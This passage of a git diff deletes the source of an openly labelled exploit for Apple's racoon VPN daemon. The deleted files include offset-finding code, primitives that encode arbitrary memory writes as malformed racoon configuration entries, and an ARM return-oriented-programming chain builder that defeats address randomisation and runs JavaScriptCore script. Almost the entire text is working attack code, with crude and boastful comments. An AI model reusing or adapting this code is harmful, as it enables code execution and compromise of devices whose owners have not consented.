movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4)); - uint32_t movw_arg = get_movw_arg(movw_raw); - uint32_t movt_arg = get_movw_arg(movt_raw); - - uint32_t offset_to_pc = (movt_arg << 16) | movw_arg; - uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8); - uint32_t ref_dns4_offset = offset_to_pc + pc + 0x8; - - uint32_t autism = ref_dns4_offset; -// printf("0x%08x\n", autism); - - return *(uint32_t*)(bin + autism); -} - -uint32_t find_printf_addr(uint32_t region, - uint8_t* bin, - size_t size) { - char* usage_racoon_str = "usage: racoon"; - uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str)); - uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset); - uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin); - uintptr_t the_blx; - for (int i = 0; i < 0x100; i += 2) { - uintptr_t test_me = (uintptr_t)usage_ref; - test_me += i; - if (insn_is_bl((uint16_t*)test_me)) { - the_blx = (uintptr_t)usage_ref; - the_blx += i; - break; - } - } - - uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 8 + 0x4000; - - return printf_symbolstub_addr; -} - -uint32_t find_puts_addr(uint32_t region, - uint8_t* bin, - size_t size) { - char* usage_racoon_str = "usage: racoon"; - uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str)); - uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset); - uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin); - uintptr_t the_blx; - int count = 0; - for (int i = 0; i < 0x100; i += 2) { - uintptr_t test_me = (uintptr_t)usage_ref; - test_me += i; - if (insn_is_bl((uint16_t*)test_me)) { - the_blx = (uintptr_t)usage_ref; - the_blx += i; - usage_ref_addr = (void*)the_blx - (void*)bin; - count++; - if (count == 2) - break; - } - } - - uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 4 + 0x4000; - - return printf_symbolstub_addr; -} - -void sandbox(uint32_t region, - uint8_t* bin, - size_t size) { - // -} \ No newline at end of file diff --git a/src/patchfinder.h b/src/patchfinder.h deleted file mode 100644 index 21af7e3..0000000 --- a/src/patchfinder.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef PATCHFINDER_H -#define PATCHFINDER_H - -#include - -uint32_t find_dns4_offset(uint32_t region, - uint8_t* bin, - size_t size); - -uint32_t find_lc_conf_offset(uint32_t region, - uint8_t* bin, - size_t size); - -#endif \ No newline at end of file diff --git a/src/shit.c b/src/shit.c deleted file mode 100644 index ef354d4..0000000 --- a/src/shit.c +++ /dev/null @@ -1,32 +0,0 @@ -#include -#include "common.h" -#include -#include "shit.h" - -extern FILE* fp; - -int _asprintf(char **strp, const char *fmt, ...) { - va_list ap; - char* tmp = NULL; - - *strp = ""; - - /* - * shit - */ - - va_start(ap, fmt); - vfprintf(fp, fmt, ap); - va_end(ap); - -#if 0 - strcpy(fuck_memory_leaks, tmp); - - if (strp) - *strp = fuck_memory_leaks; - - free(tmp); -#endif - - return 0; -} \ No newline at end of file diff --git a/src/shit.h b/src/shit.h deleted file mode 100644 index d97a995..0000000 --- a/src/shit.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef SHIT_H -#define SHIT_H - -int _asprintf(char **strp, const char *fmt, ...); - -#endif \ No newline at end of file diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c deleted file mode 100644 index b54cb1a..0000000 --- a/src/stage0_primitives.c +++ /dev/null @@ -1,46 +0,0 @@ -/* - * stage0_primitives - */ - -#include -#include - -#include "stage0_primitives.h" -#include "ip_tools.h" -#include "common.h" -#include -#include "shit.h" - -//#define DNS4_OFFSET 0xb6c10 - -char* write32_slid(uint32_t where, - uint32_t what) { - char* where_ip = NULL; - char* what_ip = NULL; - char* ret = NULL; - - uint32_t where_ = where - DNS4_OFFSET; - where_ >>= 2; - where_ += 0x80000000; - - where_ip = uint32_t_to_ip(where_); - what_ip = uint32_t_to_ip(what); - - asprintf(&ret, "mode_cfg{" - "wins41.3.3.7;" - "wins41.3.3.7;" - "wins41.3.3.7;" - "wins41.3.3.7;" - "wins4255.255.255.255;" - "wins4%s;" - "dns4%s;" - "}", - where_ip, - what_ip); - - strcpy(fuck_memory_leaks, ret); - - free(ret); - - return fuck_memory_leaks; -} \ No newline at end of file diff --git a/src/stage0_primitives.h b/src/stage0_primitives.h deleted file mode 100644 index a9a71eb..0000000 --- a/src/stage0_primitives.h +++ /dev/null @@ -1,10 +0,0 @@ -#ifndef STAGE0_PRIMITIVES_H -#define STAGE0_PRIMITIVES_H - -#include - -extern uint32_t DNS4_OFFSET; -char* write32_slid(uint32_t where, - uint32_t what); - -#endif \ No newline at end of file diff --git a/src/stage1_primitives.c b/src/stage1_primitives.c deleted file mode 100644 index ffe7b53..0000000 --- a/src/stage1_primitives.c +++ /dev/null @@ -1,168 +0,0 @@ -/* - * stage1_primitives - */ - -#include -#include - -#include "stage1_primitives.h" -#include "stage0_primitives.h" -#include "ip_tools.h" -#include "common.h" -#include -#include "shit.h" - -//#define LC_CONF_OFFSET 0xb6088 - -extern FILE* fp; - -char* write32_unslid(uint32_t where, - uint32_t what) { - char* ret = ""; - _asprintf(&ret, - "%s%s", - ret, - write32_slid(LC_CONF_OFFSET, - where - 0xa0)); - _asprintf(&ret, - "%s" - "timer{" - "counter%u;" - "}", - ret, - what); - - return ret; -} - -char* write32_unslid_pre(uint32_t where) { - char* ret = ""; - _asprintf(&ret, - "%s%s", - ret, - write32_slid(LC_CONF_OFFSET, - where - 0xa0)); - return ret; -} - -char* writebuf_old_unslid(uint32_t where, - char* what, - uint32_t len) { - char* ret = ""; - uint32_t* lol = (uint32_t*)what; - - while (((void*)lol - (void*)what) < len) { - _asprintf(&ret, - "%s%s", - ret, - write32_unslid_pre(where + ((void*)lol - (void*)what))); - - /* - * i make an exception for 80 cols here - */ - - _asprintf(&ret, "%stimer{", ret); - - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; } - - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; } - - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; } - - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; } - - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; } - - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; } - - _asprintf(&ret, - "%s}", - ret); - } - - strcpy(fuck_memory_leaks, ret); - - free(ret); - - return fuck_memory_leaks; - - return ret; -} - -char* writebuf_unslid(uint32_t where, - char* what, - uint32_t len) { - char* ret = ""; - uint32_t* lol = (uint32_t*)what; - -#if 0 - for (uint32_t here = where; here < where + len; here++) { - asprintf(&ret, - "%s%s", - ret, - write32_unslid_pre(here)); - - asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here - where))); - } -#endif - -#if 1 - while (((void*)lol - (void*)what) < len) { - _asprintf(&ret, - "%s%s", - ret, - write32_unslid_pre(where + ((void*)lol - (void*)what))); - - /* - * i make an exception for 80 cols here - */ - - _asprintf(&ret, "%stimer{", ret); - - - /* - * this is so fucking ugly - */ - if ((((*lol) & 0x80000000) >> 31) == 1) { -lol: - _asprintf(&ret, - "%s}", - ret); - - for (uint32_t here = ((void*)lol - (void*)what); here < ((void*)lol - (void*)what) + 4; here++) { - _asprintf(&ret, - "%s%s", - ret, - write32_unslid_pre(here + where)); - _asprintf(&ret, "%stimer{counter%u;}", ret, *(uint8_t*)(what + (here))); - } - - lol++; - continue; - } - - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%scounter%u;", ret, *lol); lol++; } - - if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sinterval%usec;", ret, *lol); lol++; } - - if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%spersend%u;", ret, *lol); lol++; } - - if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase1%usec;", ret, *lol); lol++; } - - if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%sphase2%usec;", ret, *lol); lol++; } - - if ((((*lol) & 0x80000000) >> 31) == 1) goto lol; - if (((void*)lol - (void*)what) < len) { _asprintf(&ret, "%snatt_keepalive%usec;", ret, *lol); lol++; } - - _asprintf(&ret, - "%s}", - ret); - } -#endif - - return ret; -} diff --git a/src/stage1_primitives.h b/src/stage1_primitives.h deleted file mode 100644 index d6b9c33..0000000 --- a/src/stage1_primitives.h +++ /dev/null @@ -1,19 +0,0 @@ -#ifndef STAGE1_PRIMITIVES_H -#define STAGE1_PRIMITIVES_H - -#include - -extern uint32_t LC_CONF_OFFSET; - -char* write32_unslid(uint32_t where, - uint32_t what); - -char* writebuf_old_unslid(uint32_t where, - char* what, - uint32_t len); - -char* writebuf_unslid(uint32_t where, - char* what, - uint32_t len); - -#endif \ No newline at end of file diff --git a/src/stage2.c b/src/stage2.c deleted file mode 100644 index 8b98a7e..0000000 --- a/src/stage2.c +++ /dev/null @@ -1,404 +0,0 @@ -/* - * drunk_rac00n - * - * we call this "ROP" round these parts - * steal everything, kill everyone, cause total financial ruin. - * - * this exploit is seriously garbage, but gawd damnit it exploits the thing - * - * hax - */ - -#include -#include "stage2.h" -#include -#include -#include -#include -#include - -#define MOV_R0(what) do { \ - chain[chain_len++] = what; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + mov_r0; \ -} while (0) - -#define CALL(what) do { \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = what; \ - chain[chain_len++] = base + nulls_addr; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + blx_r5; \ -} while (0) - -#define CALL_1ARG(what, arg) do { \ - MOV_R0(arg); \ - CALL(what); \ -} while (0) - -#define STR_R0(where) do { \ - chain[chain_len++] = where; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + str_r0_r4; \ - chain[chain_len++] = where; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + mov_r0; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + ldr_r0_r0; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + nop; \ -} while (0) - -#define MOV_R1_R0() do { \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + mov_r1_r0; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + nop; \ -} while (0) - -#define DEREF_IN_R0(what) do { \ - chain[chain_len++] = what; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + mov_r0; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + ldr_r0_r0; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + nop; \ -} while (0) - -#define DEREF_R0() do { \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + ldr_r0_r0; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + nop; \ -} while (0) - -#define MOV_R1(what) do { \ - chain[chain_len++] = what; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + mov_r0; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + mov_r1_r0; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + nop; \ -} while (0) - -#define ADD_R0_R1() do { \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + add_r0_r1; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + nop; \ -} while (0) - -#define CALL_4_ARG_L2_0(what, arg1, arg2) do { \ - MOV_R0(0); \ - STR_R0(base + reserve_addr + 0x40000); \ - MOV_R0(base + weird_r3); \ - STR_R0(base + reserve_addr + 0x4014); \ - MOV_R0(base + reserve_addr + 0x4000); \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = arg2; \ - chain[chain_len++] = base + reserve_addr + 0x40000; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + other_weird_r3; \ - MOV_R0(arg1); \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = what; \ -} while (0) \ - -#define CALL_4_PTRARG_L2_0(what, arg1, arg2) do { \ - DEREF_IN_R0(arg1); \ - STR_R0(stack_base + (chain_len * 4) + 520); \ - DEREF_IN_R0(arg2); \ - STR_R0(stack_base + (chain_len * 4) + 340); \ - MOV_R0(0); \ - STR_R0(base + reserve_addr + 0x40000); \ - MOV_R0(base + weird_r3); \ - STR_R0(base + reserve_addr + 0x4014); \ - MOV_R0(base + reserve_addr + 0x4000); \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = 0x32323232; \ - chain[chain_len++] = base + reserve_addr + 0x40000; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = base + other_weird_r3; \ - MOV_R0(0x31313131); \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = UNUSED; \ - chain[chain_len++] = what; \ - chain[chain_len++] = 0; \ - chain[chain_len++] = 0; \ - chain[chain_len++] = 0; \ - chain[chain_len++] = 0; \ - chain[chain_len++] = base + nop; \ -} while (0) \ - -#define CALL_SLID_4_ARG_L2_0(what, arg1, arg2) do { \ - DEREF_IN_R0(base + reserve_addr + 20); \ - MOV_R1_R0(); \ - MOV_R0(what); \ - ADD_R0_R1(); \ - STR_R0(stack_base + (chain_len * 4) + 392); \ - CALL_4_ARG_L2_0(0x12345678, arg1, arg2); \ -} while (0) - -#define CALL_SLID(what) do { \ - STR_R0(base + reserve_addr + 444); \ - DEREF_IN_R0(base + reserve_addr + 20); \ - MOV_R1_R0(); \ - MOV_R0(what); \ - ADD_R0_R1(); \ - STR_R0(base + reserve_addr + 448); \ - MOV_R1(0); \ - DEREF_IN_R0(base + reserve_addr + 448); \ - STR_R0(stack_base + (chain_len * 4) + 96 + (18 * 4)); \ - DEREF_IN_R0(base + reserve_addr + 444); \ - CALL(0x1234567c); \ -} while (0) - -#define CALL_SLID_4_PTRARG_L2_0(what, arg1, arg2) do { \ - DEREF_IN_R0(base + reserve_addr + 20); \ - MOV_R1_R0(); \ - MOV_R0(what); \ - ADD_R0_R1(); \ -/* MOV_R1_R0(); \ - CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); \ -*/ STR_R0(stack_base + (chain_len * 4) + 720); \ - CALL_4_PTRARG_L2_0(0x12345679, arg1, arg2); \ -} while (0) - -#define PRINT_STILL_HERE() do { \ -/* CALL_1ARG(base + printf_addr, 0x109000); */\ -} while (0) - -uintptr_t get_dyld_shc_slide(void) { - return _dyld_get_image_vmaddr_slide(1); -} - -uintptr_t get_dyld_shc_sym_addr(char* sym) { - return dlsym(RTLD_DEFAULT, sym) - get_dyld_shc_slide(); -} - -uintptr_t get_dyld_shc_sym_addr_jsc(char* sym) { - return dlsym(dlopen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore", RTLD_LAZY) , sym) - get_dyld_shc_slide(); -} - -rop_chain_shit gen_rop_chain(uint32_t base, - uint32_t we_out_here_addr, - uint32_t mov_r0, - uint32_t puts_addr, - uint32_t blx_r5, - uint32_t nulls_addr, - uint32_t malloc_addr, - uint32_t mov_r1_r0, - uint32_t nop, - uint32_t malloc_status_addr, - uint32_t printf_addr, - uint32_t exit_addr, - uint32_t str_r0_r4, - uint32_t reserve_addr, - uint32_t ldr_r0_r0, - uint32_t add_r0_r1, - uint32_t stack_base, - uint32_t dyld_shc_base_status, - uint32_t scprefcreate_dsc_offset, - uint32_t scprefcreate_lazy_offset, - uint32_t weird_r3, - uint32_t other_weird_r3) { - /* - * to quote qwertyoruiop: - * ROP Insanity. - * - * Message to security researchers, feds and apple employees: - * - * If you want to understand this, you have to hit a blunt. - * I don't care if you're at work. Roll a fat one and smoke it. Right now. - * - * If your boss questions this, feel free to tell him to contact me. I'll explain how crucial THC is for this shit. - */ - - /* - * this is definitely overkill - */ - uint32_t* chain = (uint32_t*)calloc(0x100000, sizeof(uint32_t)); - uint32_t chain_len = 0; - - rop_chain_shit chain_b0i = (rop_chain_shit)malloc(sizeof(struct rop_chain_shit_t)); - - /* output "intro" string */ - CALL_1ARG(base + puts_addr, base + we_out_here_addr); - -// CALL_4_ARG_L2_0(base + 0x9ad8c, LOG_SYSLOG, base + we_out_here_addr); - - /* allocate memory for file read later */ - CALL_1ARG(base + malloc_addr, 0x100000); - STR_R0(base + reserve_addr); - MOV_R1_R0(); - - /* output malloc string */ - CALL_1ARG(base + printf_addr, base + malloc_status_addr); - - /* calculate dyld_shared_cache slide */ - MOV_R0(0 - (0x20000000 + scprefcreate_dsc_offset)); - MOV_R1_R0(); - DEREF_IN_R0(base + scprefcreate_lazy_offset); - ADD_R0_R1(); - STR_R0(base + reserve_addr + 20); - - /* calculate dyld_shared_cache slide */ - MOV_R0(0 - (scprefcreate_dsc_offset)); - MOV_R1_R0(); - DEREF_IN_R0(base + scprefcreate_lazy_offset); - ADD_R0_R1(); - STR_R0(base + reserve_addr + 16); - - /* print the status string */ - MOV_R1_R0(); - CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); - -// uint32_t slid_b0i = 0x2b14000; - - uint32_t JSContextGroupCreate = get_dyld_shc_sym_addr_jsc("JSContextGroupCreate"); - uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr_jsc("JSGlobalContextCreateInGroup"); - uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr_jsc("JSContextGetGlobalObject"); - uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr_jsc("JSStringCreateWithUTF8CString"); - uint32_t JSEvaluateScript = get_dyld_shc_sym_addr_jsc("JSEvaluateScript"); - uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym"); - - MOV_R0(dlsym_); - STR_R0(base + reserve_addr + 24); - -// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday"); - - fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, dlsym_); - -/* - MOV_R0(0); - STR_R0(base + 0x140000); - STR_R0(base + 0x140004); - - MOV_R0(0); - MOV_R1_R0(); - MOV_R0(base + 0x140000); - CALL_SLID(settimeofday); - */ - - PRINT_STILL_HERE(); - CALL_SLID(JSContextGroupCreate); - STR_R0(base + reserve_addr + 0x40); - MOV_R1_R0(); - PRINT_STILL_HERE(); - MOV_R1(0); - DEREF_IN_R0(base + reserve_addr + 0x40); - - CALL_SLID(JSGlobalContextCreateInGroup); - STR_R0(base + reserve_addr + 0x44); - MOV_R1_R0(); - PRINT_STILL_HERE(); - DEREF_IN_R0(base + reserve_addr + 0x44); - - CALL_SLID(JSContextGetGlobalObject); - STR_R0(base + reserve_addr + 0x48); - PRINT_STILL_HERE(); - DEREF_IN_R0(base + reserve_addr + 0x48); - MOV_R1_R0(); - MOV_R0(0x108000); - - CALL_SLID(JSStringCreateWithUTF8CString); - STR_R0(base + reserve_addr + 0x48); - PRINT_STILL_HERE(); - DEREF_IN_R0(base + reserve_addr + 0x48); - MOV_R1_R0(); - CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); - MOV_R1_R0(); - PRINT_STILL_HERE(); - - uint32_t slide = (base) >> 12; - - fprintf(stderr, "%x %x\n", base, stack_base); - fprintf(stderr, "%x\n", get_dyld_shc_slide()); - - MOV_R0(0x422260); - STR_R0(0x422290); -// MOV_R0(0x2022260); -// STR_R0(0x2022290); - // MOV_R0(0x422260); - // STR_R0(0x422290); - - MOV_R0(0x10a000); - CALL_SLID(JSStringCreateWithUTF8CString); - STR_R0(base + reserve_addr + 0x48); - PRINT_STILL_HERE(); -/* - DEREF_IN_R0(base + reserve_addr + 0x48); - MOV_R1_R0(); - */ - CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); - MOV_R1_R0(); - PRINT_STILL_HERE(); - - DEREF_IN_R0(0x144444); - MOV_R1_R0(); - CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); - -// CALL_1ARG(base + printf_addr, 0x109000); - - /* exit */ - CALL_1ARG(base + exit_addr, 69); - - chain_b0i->teh_chain = chain; - chain_b0i->chain_len = chain_len * 4; - - return chain_b0i; -} diff --git a/src/stage2.h b/src/stage2.h deleted file mode 100644 index 0c7b62b..0000000 --- a/src/stage2.h +++ /dev/null @@ -1,40 +0,0 @@ -#ifndef SHITTY_ROP_H -#define SHITTY_ROP_H - -#include - -struct rop_chain_shit_t { - uint32_t* teh_chain; - uint32_t chain_len; -}; - -typedef struct rop_chain_shit_t* rop_chain_shit; - -#define GARBAGE 0x6A9BA6E -//#define UNUSED 0xEEEEEEEE -#define UNUSED 0x40000000 | (0x100000 + (__LINE__)) - -rop_chain_shit gen_rop_chain(uint32_t base, - uint32_t default_domain_addr, - uint32_t mov_r0, - uint32_t puts_addr, - uint32_t blx_r5, - uint32_t nulls_addr, - uint32_t malloc_addr, - uint32_t mov_r1_r0, - uint32_t nop, - uint32_t malloc_status_addr, - uint32_t printf_addr, - uint32_t exit_addr, - uint32_t str_r0_r4, - uint32_t reserve_addr, - uint32_t ldr_r0_r0, - uint32_t add_r0_r1, - uint32_t stack_base, - uint32_t dyld_shc_base_status, - uint32_t scprefcreate_dsc_offset, - uint32_t scprefcreate_lazy_offset, - uint32_t weird_r3, - uint32_t other_weird_r3); - -#endif \ No newline at end of file -- cgit v1.2.3